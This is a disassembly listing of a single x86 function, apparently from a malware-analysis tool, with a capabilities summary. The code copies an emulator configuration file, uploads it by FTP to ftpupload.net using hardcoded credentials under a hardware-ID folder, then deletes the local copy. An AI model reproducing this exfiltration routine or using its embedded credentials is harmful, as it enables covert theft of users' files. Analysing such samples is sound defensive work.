Function at 0x404f8f
Capabilities:
Connect to http server
Copy file
Create http request
Delete file
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x17c
mov dword [ebp - 0x144], sym.___gxx_personality_sj0
mov dword [ebp - 0x140], 0x48a8e6
lea eax, [ebp - 0x13c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x405238
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
lea eax, [ebp - 0x25]
mov ecx, eax
call fcn.0044f250
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x25]
mov dword [esp + 4], edx
mov dword [esp], str.C:Program_Files__x86_SmartGaGaProjectTitanEngine_vmconfig.ini
mov dword [ebp - 0x158], 1
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x25]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x128]
mov dword [esp + 4], 8
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov dword [ebp - 0x158], 2
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::string_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x128]
add eax, 0x70
mov dword [ebp - 0x158], 3
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x40506b
mov dword [ebp - 0x164], 1
mov dword [ebp - 0x160], 0
jmp 0x4051e1
lea eax, [ebp - 0x2c]
mov ecx, eax
call method.std::string.c_str___const
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:_vn1.txt
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x158], 3
call eax
sub esp, 0xc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.WININET.DLL_InternetOpenA]
call eax
sub esp, 0x14
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x8000000
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], str.STDON99
mov dword [esp + 0xc], str.epiz_29222625
mov dword [esp + 8], 0x15
mov dword [esp + 4], str.ftpupload.net
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetConnectA]
call eax
sub esp, 0x20
mov dword [ebp - 0x20], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym.get_hardware_id__
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x24]
mov dword [esp + 8], edx
mov dword [esp + 4], str._htdocs_sg_vn_
mov dword [esp], eax
mov dword [ebp - 0x158], 4
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.0045b510
lea eax, [ebp - 0x30]
mov dword [esp], 0x49465c
mov dword [ebp - 0x158], 5
mov ecx, eax
call method.std::string.operator_char_const_
sub esp, 4
lea eax, [ebp - 0x30]
mov ecx, eax
call method.std::string.c_str___const
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:_vn1.txt
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_FtpPutFileA]
call eax
sub esp, 0x14
mov dword [esp], str.C:_vn1.txt
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
lea eax, [ebp - 0x30]
mov ecx, eax
call fcn.0045b510
mov dword [ebp - 0x160], 1
lea eax, [ebp - 0x128]
mov ecx, eax
call fcn.0046d200
cmp dword [ebp - 0x160], 1
je 0x405203
mov dword [ebp - 0x160], 0
jmp 0x40520e
nop
mov dword [ebp - 0x160], 1
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.0045b510
cmp dword [ebp - 0x160], 1
jne 0x405227
nop
jmp 0x40531d
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x40531d
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x160]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret